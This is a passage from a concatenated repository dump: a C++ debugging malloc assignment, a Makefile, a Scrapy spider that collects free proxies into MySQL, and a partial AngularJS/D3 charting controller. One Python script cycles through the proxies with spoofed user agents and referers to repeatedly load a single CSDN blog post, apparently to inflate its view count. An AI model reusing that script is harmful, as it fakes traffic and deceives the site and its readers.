//srand(time(0)); // seed for random sampling
//if (rand() % 10 != 0) { // random sampling
//cout << fileLine << " " << sz << "\n";
if (HEAVY_HITTERS.find(fileLine) == HEAVY_HITTERS.end()) { // fileLine not in map
HEAVY_HITTERS[fileLine] = sz;
} else { // file line already in map
size_t curr = HEAVY_HITTERS[fileLine];
HEAVY_HITTERS[fileLine] = curr + sz;
}
//}
return (void*) headPtr;
}
}
/// dmalloc_free(ptr, file, line)
/// Free the memory space pointed to by `ptr`, which must have been
/// returned by a previous call to dmalloc_malloc. If `ptr == NULL`,
/// does nothing. The free was called at location `file`:`line`.
void dmalloc_free(void* ptr, const char* file, long line) {
(void) file, (void) line; // avoid uninitialized variable warnings
if (ptr) { //check if valid pointer
if ((uintptr_t) ptr < HEAP_MIN || (uintptr_t) ptr > HEAP_MAX) {
fprintf (stderr, "MEMORY BUG: %s:%ld: invalid free of pointer %p, not in heap\n", file, line, ptr);
abort();
}
header_t* headPtr = (header_t*) ptr;
headPtr--; // move to start of header
uintptr_t temp = (uintptr_t) ptr; // check alignment
if (temp%8 != 0) {
fprintf (stderr, "MEMORY BUG: %s:%ld: invalid free of pointer %p, not allocated\n", file, line, ptr);
abort();
}
if(!validCanary(headPtr)) { //check canary fields
notAllocated(ptr, file, line);
}
if (headPtr->free != 0) { // check double free
fprintf (stderr, "MEMORY BUG: %s:%ld: invalid free of pointer %p, double free\n", file, line, ptr);
abort();
}
if ((headPtr->listNode)->free == 1) { // check already freed
fprintf (stderr, "MEMORY BUG: %s:%ld: free of pointer %p\n", file, line, ptr);
abort();
}
footer_t* footPtr = (footer_t*) ((uintptr_t)(headPtr+1) + headPtr->sz);
if(!validFooter(footPtr)) { // check wild write
fprintf (stderr, "MEMORY BUG: %s:%ld: detected wild write during free of pointer %p\n", file, line, ptr);
abort();
}
ACTIVE_SIZE -= headPtr->sz;
NUM_FREE++;
headPtr->free = 1;
(headPtr->listNode)->free = 1; // set node free value to 1
base_free(headPtr);
}
}
/// dmalloc_calloc(nmemb, sz, file, line)
/// Return a pointer to newly-allocated dynamic memory big enough to
/// hold an array of `nmemb` elements of `sz` bytes each. If `sz == 0`,
/// then must return a unique, newly-allocated pointer value. Returned
/// memory should be initialized to zero. The allocation request was at
/// location `file`:`line`.
void* dmalloc_calloc(size_t nmemb, size_t sz, const char* file, long line) {
if (nmemb >= SIZE_MAX / sz) { // check for integer overflow
NUM_FAIL++;
FAIL_SIZE += sz * nmemb;
return NULL;
}
void* ptr = dmalloc_malloc((nmemb * sz), file, line);
if (ptr) {
memset(ptr, 0, nmemb * sz);
}
return ptr;
}
/// dmalloc_get_statistics(stats)
/// Store the current memory statistics in `*stats`.
void dmalloc_get_statistics(dmalloc_statistics* stats) {
// Stub: set all statistics to enormous numbers
memset(stats, 255, sizeof(dmalloc_statistics));
stats->nactive = NUM_MALLOC - NUM_FREE;
stats->active_size = ACTIVE_SIZE;
stats->ntotal = NUM_MALLOC;
stats->total_size = TOTAL_SIZE;
stats->nfail = NUM_FAIL;
stats->fail_size = FAIL_SIZE;
stats->heap_min = HEAP_MIN;
stats->heap_max = HEAP_MAX;
}
/// dmalloc_print_statistics()
/// Print the current memory statistics.
void dmalloc_print_statistics() {
dmalloc_statistics stats;
dmalloc_get_statistics(&stats);
printf("alloc count: active %10llu total %10llu fail %10llu\n",
stats.nactive, stats.ntotal, stats.nfail);
printf("alloc size: active %10llu total %10llu fail %10llu\n",
stats.active_size, stats.total_size, stats.fail_size);
}
/// dmalloc_print_leak_report()
/// Print a report of all currently-active allocated blocks of dynamic
/// memory.
void dmalloc_print_leak_report() {
while(header_list != NULL) {
if(header_list->free == 0) {
printf("LEAK CHECK: %s:%ld: allocated object %p with size %zu\n", (header_list->head)->file, (header_list->head)->line, (header_list->head+1), (header_list->head)->sz);
}
header_list = header_list->next;
}
}
/// dmalloc_print_heavy_hitter_report()
/// Print a report of heavily-used allocation locations.
void dmalloc_print_heavy_hitter_report() {
unsigned long long hitter_size = TOTAL_SIZE / 6; // 20% of bytes allocated
vector< pair<size_t,string>> vect;
for (auto x : HEAVY_HITTERS) {
if(x.second >= hitter_size) {
vect.push_back(make_pair(x.second,x.first));
}
}
sort(vect.begin(), vect.end());
for (int i = (int)vect.size() - 1; i > -1; i--) {
double curr_percent = 100 * static_cast<float>(vect[i].first) / static_cast<float>(TOTAL_SIZE);
cout << "HEAVY HITTER: " << vect[i].second << " " << vect[i].first << " bytes (~"; //<< curr_percent << "%)\n";
printf("%0.1f", curr_percent);
cout << "%)\n";
}
}
// initialize header_t
void init_header(header_t* headPtr, size_t sz_in, const char* file_in, long line_in) {
headPtr->sz = sz_in;
headPtr->free = 0; // not freed
headPtr->file = file_in;
headPtr->line = line_in;
for(int i = 0; i < 5; i++) {
headPtr->ow_prot[i] = 'C';
}
}
// initialize footer
void init_footer(footer_t* footPtr) {
for(int i = 0; i < 5; i++) {
footPtr->ow_prot[i] = 'T';
}
}
// check canary for out-of-bounds write (before freeing)
int validCanary(header_t* headPtr) {
for(int i = 0; i < 5; i++) {
if (headPtr->ow_prot[i] != 'C') {
return 0;
}
}
if (headPtr != headPtr->listNode->head) {
return 0;
}
return 1;
}
// check footer for out-of-bounds write (before freeing)
int validFooter(footer_t* footPtr) {
for(int i = 0; i < 5; i++) {
if (footPtr->ow_prot[i] != 'T') {
return 0;
}
}
return 1;
}
// add node to list
void addNode(header_t* newHeader) {
struct Node *tmpPtr = (struct Node *) malloc(sizeof(struct Node));
tmpPtr->head = newHeader;
tmpPtr->next = header_list;
tmpPtr->free = 0;
header_list = tmpPtr;
}
// print error message for unallocated pointer
void notAllocated(void* ptr, const char* file, long line) {
fprintf (stderr, "MEMORY BUG: %s:%ld: invalid free of pointer %p, not allocated\n", file, line, ptr);
while(header_list != NULL) {
if((uintptr_t)(header_list->head+1) < (uintptr_t)ptr && ((uintptr_t)(header_list->head+1) + (uintptr_t)header_list->head->sz) > (uintptr_t)ptr) {
fprintf (stderr, " %s:%ld: %p is %zu bytes inside a %zu byte region allocated here\n", header_list->head->file, header_list->head->line, ptr, ((uintptr_t)ptr - (uintptr_t)(header_list->head+1)), header_list->head->sz);
abort();
}
header_list = header_list->next;
}
abort();
}
<file_sep># Default optimization level
O ?= 2
TESTS = $(patsubst %.cc,%,$(sort $(wildcard test[0-9][0-9][0-9].cc)))
all: $(TESTS) hhtest
-include rules.mk
LIBS = -lm
%.o: %.cc $(BUILDSTAMP)
$(call run,$(CXX) $(CPPFLAGS) $(CXXFLAGS) $(DEPCFLAGS) $(O) -o $@ -c,COMPILE,$<)
all:
@echo "*** Run 'make check' or 'make check-all' to check your work."
test%: dmalloc.o basealloc.o test%.o
$(call run,$(CXX) $(CXXFLAGS) $(O) -o $@ $^ $(LDFLAGS) $(LIBS),LINK $@)
hhtest: dmalloc.o basealloc.o hhtest.o
$(call run,$(CXX) $(CXXFLAGS) $(O) -o $@ $^ $(LDFLAGS) $(LIBS),LINK $@)
check: $(patsubst %,run-%,$(TESTS))
@echo "*** All tests succeeded!"
check-all: $(TESTS)
@good=true; for i in $(TESTS); do $(MAKE) --no-print-directory run-$$i || good=false; done; \
if $$good; then echo "*** All tests succeeded!"; fi; $$good
check-%:
@any=false; good=true; for i in `perl check.pl -e "$*"`; do \
any=true; $(MAKE) run-$$i || good=false; done; \
if $$any; then $$good; else echo "*** No such test" 1>&2; $$any; fi
run-:
@echo "*** No such test" 1>&2; exit 1
run-%: %
@test -d out || mkdir out
@perl check.pl -x $<
clean: clean-main
clean-main:
$(call run,rm -f $(TESTS) hhtest *.o core *.core,CLEAN)
$(call run,rm -rf out *.dSYM $(DEPSDIR))
distclean: clean
MALLOC_CHECK_=0
export MALLOC_CHECK_
.PRECIOUS: %.o
.PHONY: all clean clean-main clean-hook distclean \
run run- run% prepare-check check check-all check-%
| 623651452a5cc861217a4cc68d25d533a616fe6c | [
"Markdown",
"Makefile",
"C++"
] | 5 | Markdown | christinatuttle/Dmalloc | fc3a184962d118bd33084066be71df8342acce9c | c4b02ea184776b50d5610d9f0d0f3f5bb90ed3cf |
refs/heads/master | <file_sep>import React, {Component} from 'react'
import moment from 'moment'
//import 'moment/locale/zh-cn';
import Scheduler, {SchedulerData, ViewTypes, DATE_FORMAT, CellUnits, DATETIME_FORMAT} from '../src/index'
import withDragDropContext from './withDnDContext'
import '../lib/css/style.css'
class Basic extends Component{
constructor(props){
super(props);
let resources = [
{
id: 'r1',
name: 'StaffA'
},
{
id: 'r2',
name: 'StaffC',
},
{
id: 'r3',
name: 'ManagerB',
},
{
id: 'r4',
name: 'ManagerA',
},
];
//let schedulerData = new SchedulerData(new moment("2017-12-18").format(DATE_FORMAT), ViewTypes.Week);
let schedulerData = new SchedulerData(moment(Date()).startOf('day'), ViewTypes.Custom, false, false,{eventItemPopoverEnabled: false,
customCellWidth: 80,
dayCellWidth:90,
views: [
{viewName: 'Daily Scheduling', viewType: ViewTypes.Week, showAgenda: false, isEventPerspective: false},
], // minuteStep: 15
},{
getCustomDateFunc: this.getCustomDate,
//getDateLabelFunc: this.getDateLabel,
});
// schedulerData.localeMoment.locale('en');
schedulerData.setResources(resources);
// schedulerData.setEvents(DemoData.events);
schedulerData.setMinuteStep(720);
let today = new Date()
today.setHours(0,0,0,0);
// schedulerData.startDate = moment(today).add(9, 'hours').format(DATETIME_FORMAT)
// schedulerData.endDate = moment(today).add(18, 'hours').subtract(1, 'days').format(DATETIME_FORMAT)
console.log(schedulerData.startDate)
console.log(schedulerData.endDate)
this.state = {
viewModel: schedulerData
}
}
nonAgendaCellHeaderTemplateResolver = (schedulerData, item, formattedDateItems, style) => {
let datetime = schedulerData.localeMoment(item.time);
let isCurrentDate = false;
if (schedulerData.viewType === ViewTypes.Day) {
isCurrentDate = datetime.isSame(new Date(), 'hour');
}
else {
isCurrentDate = datetime.isSame(new Date(), 'day');
}
// if (isCurrentDate) {
// style.backgroundColor = '#118dea';
// style.color = 'white';
// }
return (
<th key={item.time} className={`header3-text`} style={style}>
{
formattedDateItems.map((formattedItem, index) => (
<div key={index}
dangerouslySetInnerHTML={{__html: formattedItem.replace(/[0-9]/g, '<b>$&</b>')}}/>
))
}
</th>
);
}
render(){
const {viewModel} = this.state;
// console.log(DemoData.events);
return (
<div>
<div>
<Scheduler schedulerData={viewModel}
prevClick={this.prevClick}
nextClick={this.nextClick}
onSelectDate={this.onSelectDate}
onViewChange={this.onViewChange}
eventItemClick={this.eventClicked}
// viewEventClick={this.ops1}
// viewEventText="Ops 1"
// viewEvent2Text="Ops 2"
// viewEvent2Click={this.ops2}
updateEventStart={this.updateEventStart}
updateEventEnd={this.updateEventEnd}
moveEvent={this.moveEvent}
newEvent={this.newEvent}
nonAgendaCellHeaderTemplateResolver = {this.nonAgendaCellHeaderTemplateResolver}
/>
</div>
</div>
)
}
getCustomDate = (schedulerData, num, date = undefined) => {
return {
startDate: moment(schedulerData.startDate).startOf('day').format(DATETIME_FORMAT),
endDate : moment(schedulerData.endDate).startOf('day').add(6, 'days').format(DATETIME_FORMAT),
cellUnit : CellUnits.Hour,
};
}
prevClick = (schedulerData)=> {
schedulerData.prev();
// schedulerData.setEvents(DemoData.events);
this.setState({
viewModel: schedulerData
})
}
nextClick = (schedulerData)=> {
schedulerData.next();
// schedulerData.setEvents(DemoData.events);
this.setState({
viewModel: schedulerData
})
}
onViewChange = (schedulerData, view) => {
schedulerData.setViewType(view.viewType, view.showAgenda, view.isEventPerspective);
// schedulerData.setEvents(DemoData.events);
this.setState({
viewModel: schedulerData
})
}
getDateLabel = (schedulerData, viewType, startDate, endDate) => {
let start = schedulerData.localeMoment(startDate);
let end = schedulerData.localeMoment(endDate);
let dateLabel = start.format('YYYY年M月D日');
if(viewType === ViewTypes.Custom) {
dateLabel = `${start.format('DD MMM YYYY')}`;
// if(start.month() !== end.month())
// dateLabel = `${start.format('YYYY年M月D日')}-${end.format('M月D日')}`;
// if(start.year() !== end.year())
// dateLabel = `${start.format('YYYY年M月D日')}-${end.format('YYYY年M月D日')}`;
}
else if(viewType === ViewTypes.Month){
dateLabel = start.format('YYYY年M月');
}
else if(viewType === ViewTypes.Quarter){
dateLabel = `${start.format('YYYY年M月D日')}-${end.format('M月D日')}`;
}
else if(viewType === ViewTypes.Year) {
dateLabel = start.format('YYYY年');
}
return dateLabel;
}
onSelectDate = (schedulerData, date) => {
schedulerData.setDate(date);
// schedulerData.setEvents(DemoData.events);
this.setState({
viewModel: schedulerData
})
}
eventClicked = (schedulerData, event) => {
alert(`You just clicked an event: {id: ${event.id}, title: ${event.title}}`);
};
ops1 = (schedulerData, event) => {
alert(`You just executed ops1 to event: {id: ${event.id}, title: ${event.title}}`);
};
ops2 = (schedulerData, event) => {
alert(`You just executed ops2 to event: {id: ${event.id}, title: ${event.title}}`);
};
newEvent = (schedulerData, slotId, slotName, start, end, type, item) => {
console.log(start, end)
let newFreshId = 0;
schedulerData.events.forEach((item) => {
if(item.id >= newFreshId)
newFreshId = item.id + 1;
});
let newEvent = {
id: newFreshId,
title: 'New event you just created',
start: start,
end: end,
resourceId: slotId,
bgColor: 'purple'
}
schedulerData.addEvent(newEvent);
this.setState({
viewModel: schedulerData
})
}
updateEventStart = (schedulerData, event, newStart) => {
schedulerData.updateEventStart(event, newStart);
this.setState({
viewModel: schedulerData
})
}
updateEventEnd = (schedulerData, event, newEnd) => {
schedulerData.updateEventEnd(event, newEnd);
this.setState({
viewModel: schedulerData
})
}
moveEvent = (schedulerData, event, slotId, slotName, start, end) => {
schedulerData.moveEvent(event, slotId, slotName, start, end);
this.setState({
viewModel: schedulerData
})
}
}
export default withDragDropContext(Basic)
<file_sep># react-mega-scheduler
### Intro
Scheduler library based on react. Built on top of https://github.com/StephenChou1017/react-big-scheduler.
<!-- [START getstarted] -->
## Getting Started
### Installation
To run example webpage of scheduler:
```bash
# Clone the repository
git clone https://github.com/koxuan/react-mega-scheduler
# Go inside the directory
cd react-mega-scheduler
# Install dependencies
npm install
# Start development server
npm run example
# access webpage
surf localhost:8080/example on browser
```
| 2f8d21e4b36efdaac7958d1023c6657331b2c121 | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | vkabc/react-mega-scheduler | b0408b110810c42ec79a69f3e41b5c1eb16f8e49 | b1a8be9edbaf7edfb380677999fb60efef63c803 |
refs/heads/master | <file_sep># -*- coding: utf-8 -*-
# Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html
import pymysql
class IpMysqlPipelines(object):
def process_item(self, item, spider):
# 打开数据连接
self.conn = pymysql.connect(host='127.0.0.1', user='root',
password='<PASSWORD>', database='lyq_db', charset='utf8')
# 获取游标对象
self.cursor = self.conn.cursor()
self.insert_db(item)
return item
def insert_db(self, item):
try:
# 创建sql语句
sql = 'INSERT INTO ip_list VALUES (null,"%s","%s","%s","%s","%s","%s","%s")' % (
item['ip_address'],
item['ip_port'],
item['ip_type'],
item['ip_survival_time'],
item['ip_verify_time'],
item['ip_location'],
item['ip_create_time']
)
self.cursor.execute(sql)
self.conn.commit()
print('%s:已存入数据库'%(item['ip_address']))
except Exception as e:
print('插入数据时发生异常' + e)
self.conn.rollback()
finally:
self.cursor.close()
self.conn.close()
<file_sep># -*- coding: utf-8 -*-
import requests
import pymysql
import time
import random
from bs4 import BeautifulSoup
def read_html(ip_list):
user_agent_list = [
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) '
'Chrome/45.0.2454.85 Safari/537.36 115Browser/6.0.3',
'Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)',
'Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1',
'Opera/9.80 (Windows NT 6.1; U; en) Presto/2.8.131 Version/11.11',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SE 2.X MetaSr 1.0; SE 2.X MetaSr 1.0; .NET CLR 2.0.50727; SE 2.X MetaSr 1.0)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0',
'Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1'
]
referer_list = [
'https://blog.csdn.net/wl_Honest/article/details/82426753',
'https://www.csdn.net/nav/newarticles'
]
for i in range(200):
ip_obj = random.choice(ip_list)
ip_id = ip_obj[0]
ip_address = ip_obj[1]
ip_port = ip_obj[2]
ip_type = ip_obj[3]
time.sleep(random.randint(60,61))
# 开始读取页面
try:
print('%s://%s:%s===================>可用' % (ip_type, ip_address, ip_port))
# 随机获取user-agent
user_agent = random.choice(user_agent_list)
# 随机获取referer
referer = random.choice(referer_list)
headers = {
'User-Agent': user_agent,
'Content-Type': 'application/json; charset=UTF-8',
'Accept': r'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Referer': referer
}
response = requests.get('https://blog.csdn.net/wl_Honest/article/details/82426753',
proxies={'%s' % (ip_type):'%s://%s:%s' % (ip_type, ip_address, ip_port)}, headers=headers, timeout=2)
print(response.status_code)
# 解析页面
soup = BeautifulSoup(str(response.text))
count = soup.find('span', class_='read-count')
print(count)
except Exception as e:
print('%s://%s:%s====================>不可用' % (ip_type, ip_address, ip_port))
continue
def read_ip():
ip_list = []
try:
# 从数据库获取ip地址
conn = pymysql.connect(host='127.0.0.1', user='root',
password='<PASSWORD>', database='maven', charset='utf8')
# 获取游标对象
cursor = conn.cursor()
sql = 'SELECT * FROM ip_list LIMIT 0,1000'
cursor.execute(sql)
results = cursor.fetchall()
for row in results:
ip_list.append(row)
except Exception as e:
print('出现异常')
finally:
cursor.close()
conn.close()
return ip_list
if __name__ == '__main__':
ip_list = read_ip()
read_html(ip_list)
<file_sep>#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2018-08-31 16:08:58
# @Author : <NAME>
# @Version : $Id$
import scrapy
import random
import requests
import time
from ip_spider_python.items import IpItem
class IPSpider(scrapy.Spider):
"""docstring for IPSpider"""
#设置name
name = 'ip'
#设定域名
allowed_domains = ['xicidaili.com']
#填写爬取地址
start_urls = ['http://www.xicidaili.com/nn']
def parse(self, response):
item = IpItem()
ip_list = response.xpath('//tr')
for ip in ip_list:
if ip:
# 获取ip地址
item['ip_address'] = ip.xpath('.//td[2]/text()').extract_first()
# 获取端口号
item['ip_port'] = ip.xpath('.//td[3]/text()').extract_first()
# 获取协议类型
item['ip_type'] = ip.xpath('.//td[6]/text()').extract_first()
# 获取验证时间
item['ip_verify_time'] = ip.xpath('.//td[10]/text()').extract_first()
# 获取存活时间
item['ip_survival_time'] = ip.xpath('.//td[9]/text()').extract_first()
# 获取地址
item['ip_location'] = ip.xpath('.//td[4]/a/text()').extract_first()
# 爬取时间
item['ip_create_time'] = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
# 拼接完整的ip
ip_address = item['ip_address']
ip_port = item['ip_port']
ip_type = 'https'
if item['ip_type'] == 'HTTP':
ip_type = 'http'
proxies = '%s://%s:%s'%(ip_type, ip_address, ip_port)
status = self.verify_ip(ip_type, proxies)
if status:
yield item
else:
continue
next_link = response.xpath('//a[@class="next_page"]//@href').extract_first()
if next_link!= None:
yield scrapy.Request('http://www.xicidaili.com%s' %(next_link), callback=self.parse)
time.sleep(random.randint(1,5))
def verify_ip(slef, ip_type, proxies):
""" 验证ip可用性 """
try:
response = requests.get('http://piao.qunar.com/ticket/list.htm?keyword=珠海®ion=&from=mps_search_suggest', proxies={str(ip_type):proxies}, timeout=2)
if response.status_code == 200:
print(proxies + '====================>可用')
print(response.text)
return True
else:
print(proxies + '====================>不可用')
except Exception as e:
print('请求失败,ip地址:' + proxies)
return False
<file_sep># -*- coding: utf-8 -*-
# Define here the models for your scraped items
#
# See documentation in:
# https://doc.scrapy.org/en/latest/topics/items.html
import scrapy
class IpItem(scrapy.Item):
# define the fields for your item here like:
# name = scrapy.Field()
# ip地址
ip_address = scrapy.Field()
# ip端口号
ip_port = scrapy.Field()
# ip类型
ip_type = scrapy.Field()
# ip存活时间
ip_survival_time = scrapy.Field()
# ip验证时间
ip_verify_time = scrapy.Field()
# ip真实地址(省市)
ip_location = scrapy.Field()
# 爬取时间
ip_create_time = scrapy.Field()
<file_sep>#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date : 2018-08-31 16:05:17
# @Author : <NAME>
# @Version : $Id$
from scrapy import cmdline
cmdline.execute('scrapy crawl ip'.split(' '))<file_sep># ip_spider_python
代理爬虫(python)
| 0085118b38eb945c1ded43943d0f8b9086e386cd | [
"Markdown",
"Python"
] | 6 | Python | liyongqiang1210/ip_spider_python | 6d92c3f3859576fcd367bff5f1b13ca8c2e4242e | 50b6b29d7a9389b2017b5a7621231bee6c61ff09 |
refs/heads/master | <repo_name>gari/sh<file_sep>/fixwebperms.sh
#!/bin/sh
# Exit on first error.
set -e -o pipefail
function fatal()
{
echo "${0##*/}: $*" >&2
exit 1
}
if [ "`id -u`" = "0" ]; then
fatal "Do not work on web content as root"
fi
if [ $# -ne 1 ]; then
fatal "Please provide the directory name"
fi
# Try to detect the most common and dangerous misuse - running this script
# right on a vhost home directory, which would have devastating results.
if [ -e "$1/public_html" -o -e "$1/.bash_profile" ]; then
fatal "The directory must be within public_html or equivalent"
fi
# Files matching this don't need to be readable by Apache directly. This set
# is somewhat Drupal-specific. We might not have the setup to run Python and
# Perl scripts of mode 600, but we do need to restrict their permissions.
F600='( -name *.php* -o -name *.inc -o -name *.module -o -name *.install -o -name *.info -o -name *.py -o -name *.pl -o -name *~ -o -name *.swp -o -name *.orig -o -name *.rej -o -name CHANGELOG* )'
# These shouldn't be found in Drupal, but we need to restrict access to them if
# they are present - and mode 700 is right under our environment.
F700='-name *.cgi'
D700='( -name CVS -o -name .svn )'
# We assume that the target directory tree is trusted and does not change from
# under us. Also, we assume that the initial directory permissions are
# sufficient for us to be able to traverse the tree and chmod the files;
# otherwise we'd have to fix directory permissions first, which could expose
# unsafe file permissions to a greater extent for a moment.
# Disable wildcard expansion ("-f"), and print each command ("-x").
set -fx
find "$1" -type f $F600 ! -perm 600 -print0 | xargs -0r chmod 600 --
find "$1" -type f $F700 ! -perm 700 -print0 | xargs -0r chmod 700 --
find "$1" -type f ! $F600 -a ! $F700 ! -perm 644 -print0 |
xargs -0r chmod 644 --
find "$1" -type d $D700 ! -perm 700 -print0 | xargs -0r chmod 700 --
find "$1" -type d ! $D700 ! -perm 711 -print0 | xargs -0r chmod 711 --
| 3738e6e493821c0aef260f94416e8f235d8a4606 | [
"Shell"
] | 1 | Shell | gari/sh | 90fd32f6c57b26d2ccff768f7bd13b3b5d0f37f7 | 3b7554cb7051fd76b26f6503134c9da6b881d824 |
refs/heads/master | <repo_name>lleo5301/PortfolioWork<file_sep>/public/app/controllers/statsController.js
app.controller('statsController', ['$scope', '$http', function($scope, $http){
//start with preloader
$scope.loading = true;
//get icon links
// $http.get('api/icons').then(function(res){
// $scope.icons = res.data;
// })
//get simple data //chain
$http.get('http://leoqz.me:8446/api/aggregate/byProduct').then(function(res){
// console.log(res.data);
$scope.byProduct = res.data;
return res.data;
}).then(createChart).then(function(){
//get year data
$http.get('http://leoqz.me:8446/api/aggregate/byyear').then(function(res){
$scope.byYear = res.data;
return res.data;
}).then(createLine);
}).then(function(){
$http.get('http://leoqz.me:8446/api/aggregate/byyearandproduct').then(function(res){
$scope.byYearP = res.data;
return res.data;
}).then(createMultiSeries);
}).then(removePreloader);
function removePreloader(){
$scope.loading=false;
}
function createChart(data){
// console.log(data);
//d3 functions
var margin = {top:20, right:0, bottom:150, left:100},
width = 1080 - margin.left - margin.right,
height = 500 - margin.top - margin.bottom;
var x = d3.scale.ordinal()
.rangeRoundBands([0, width], .1);
var y = d3.scale.linear()
.range([height, 0]);
var xAxis = d3.svg.axis()
.scale(x)
.orient("bottom");
var yAxis = d3.svg.axis()
.scale(y)
.orient("left")
.ticks(20);
var svg = d3.select("#products").append("svg")
.attr("width", width + margin.left + margin.right)
.attr("height", height + margin.top + margin.bottom)
.append("g")
.attr("transform", "translate(" + margin.left + "," + margin.top + ")");
x.domain(data.map(function(d){return d.product}));
y.domain([0, d3.max(data, function(d){return d.total;})]);
// append x axis
svg.append("g")
.attr("class", "x axis")
.attr("transform", "translate(0," + height + ")")
.attr("text-anchor", "end")
.call(xAxis)
.selectAll("text")
.style("text-anchor", "end")
.attr("transform", "rotate(-45)");
//append y axis
svg.append("g")
.attr("class", "x axis")
.call(yAxis)
.append("text")
.attr("transform", "rotate(-90)")
.attr("y", 6)
.attr("dy", ".71em")
.style("text-anchor", "end")
.text("Total");
//create bars
svg.selectAll('.bar')
.data(data)
.enter().append("rect")
.attr('class', 'bar')
.attr('x', function(d){return x(d.product);})
.attr('width', x.rangeBand())
.attr('y', function(d){return y(d.total);})
.attr('height',function(d){return height - y(d.total);});
$scope.yearProduct = "Total Complaints by product 2011 - 2015(partial) **Aggregated by product"
}
function createLine(data){
var margin = {top: 100, right: 20, bottom: 30, left: 100},
width = 960 - margin.left - margin.right,
height = 500 - margin.top - margin.bottom;
var parseDate = d3.time.format("%Y").parse;
var x = d3.time.scale()
.range([0, width]);
var y = d3.scale.linear()
.range([height, 0]);
var xAxis = d3.svg.axis()
.scale(x)
.orient("bottom")
.ticks(data.length)
var yAxis = d3.svg.axis()
.scale(y)
.orient("left")
.ticks(20);
var line = d3.svg.line()
.x(function(d) {return x(d.year);})
.y(function(d) {return y(d.total);});
var svg = d3.select('#years').append("svg")
.attr("width", width + margin.left + margin.right)
.attr("height", height + margin.top + margin.bottom)
.append("g")
.attr("transform", "translate(" + margin.left + "," + margin.top + ")");
data.forEach(function(d){
// console.log(parseDate(d.year.toString()));
// var date = d.year;
// console.log(date);
// console.log(parseDate(date.toString()));
d.year = parseDate(d.year.toString());
d.total = d.total;
console.log(d);
});
x.domain(d3.extent(data, function(d){return d.year}));
y.domain(d3.extent(data, function(d){return d.total;}));
svg.append("g")
.attr("class", "x axis")
.attr("transform", "translate(0," + height + ")")
.call(xAxis);
svg.append("g")
.attr("class", "y axis")
.call(yAxis)
.append("text")
.attr("transform", "rotate(-90)")
.attr("y", 6)
.attr("dy", ".71em")
.style("text-anchor", "end")
.text("Total")
svg.append("path")
.datum(data)
.attr("class", "line")
.attr("d", line);
// svg.append("text")
// .attr("x", (width / 2))
// .attr("y", 0 - (margin.top / 2))
// .attr("text-anchor", "middle")
// .style("font-size", "16px")
// .style("text-decoration", "underline")
// .text("Consumer Complaints by Year");
$scope.year = "Total Complaints Aggregated Per/Year 2011 - 2015(partial)"
}
function createMultiSeries(data){
console.log('this is being called')
var margin = {top: 100, right: 20, bottom: 30, left: 100},
width = 960 - margin.left - margin.right,
height = 500 - margin.top - margin.bottom;
var parseDate = d3.time.format("%Y").parse;
bisectDate = d3.bisector(function(d) { return d.date; }).left;
var x = d3.time.scale()
.range([0, width]);
var y = d3.scale.linear()
.range([height, 0]);
var color = d3.scale.category10();
var xAxis = d3.svg.axis()
.scale(x)
.orient("bottom");
var yAxis = d3.svg.axis()
.scale(y)
.orient("left")
.ticks(20);
var line = d3.svg.line()
.interpolate("basis")
.x(function(d) { return x(d.date); })
.y(function(d) { return y(d.total); });
var svg = d3.select("#series").append("svg")
.attr("width", "100%")
.attr("height", height + margin.top + margin.bottom)
.append("g")
.attr("transform", "translate(" + margin.left + "," + margin.top + ")");
//get domain
var domain = [];
//create product index
data.map(function(year){
year.products.map(function(product){
if(domain.indexOf(product.product) < 0)
domain.push(product.product);
})
});
color.domain(domain);
data.forEach(function(d){
d.date = parseDate(d.year.toString());
});
//get the products
var products = color.domain().map(function(name){
return{
name : name,
values: data.map(function(d){
var toReturn = {
date: d.date,
total: 0
}
//get total
var p_i = d.products.map(function(x) {return x.product;}).indexOf(name);
// console.log(productIndex);
if(p_i >= 0){
toReturn.total = d.products[p_i].total;
}
return toReturn;
})
}
});
// console.log(d3.keys(data[0]).filter(function(key) { return key !== "date"; }));
x.domain(d3.extent(data, function(d){return d.date;}));
y.domain([
d3.min(products, function(c){return d3.min(c.values, function(v){return v.total})}),
d3.max(products, function(c){return d3.max(c.values, function(v){return v.total})})
]);
svg.append("g")
.attr("class", "x axis")
.attr("transform", "translate(0," + height + ")")
.call(xAxis);
svg.append("g")
.attr("class", "y axis")
.call(yAxis)
.append("text")
.attr("transform", "rotate(-90)")
.attr("y",8)
.attr("dy", ".71em")
.style("text-anchor", "end")
.text("Total Complaints")
var product = svg.selectAll(".product")
.data(products)
.enter().append("g")
.attr("class", "product")
product.append("path")
.attr("class", "line")
.attr("d", function(d){ return line(d.values); })
.style("stroke", function(d){return color(d.name);});
product.append("text")
.datum(function(d){
return {
name:d.name,
value: d.values[d.values.length - 1]
}
})
.attr("transform", function(d){return "translate(" +
x(d.value.date) +
"," + y(d.value.total)
+ "),rotate(-25)";})
.attr("x", 3)
.attr("dy", ".70em")
.text(function(d){return d.name;});
var focus = svg.append("g") // **********
.style("display", "none");
domain.map(function(c, i){
console.log(i);
focus.append("circle") // **********
.attr("id", "y" + i) // **********
.style("fill", "none") // **********
.style("stroke", "blue") // **********
.attr("r", 4);
})
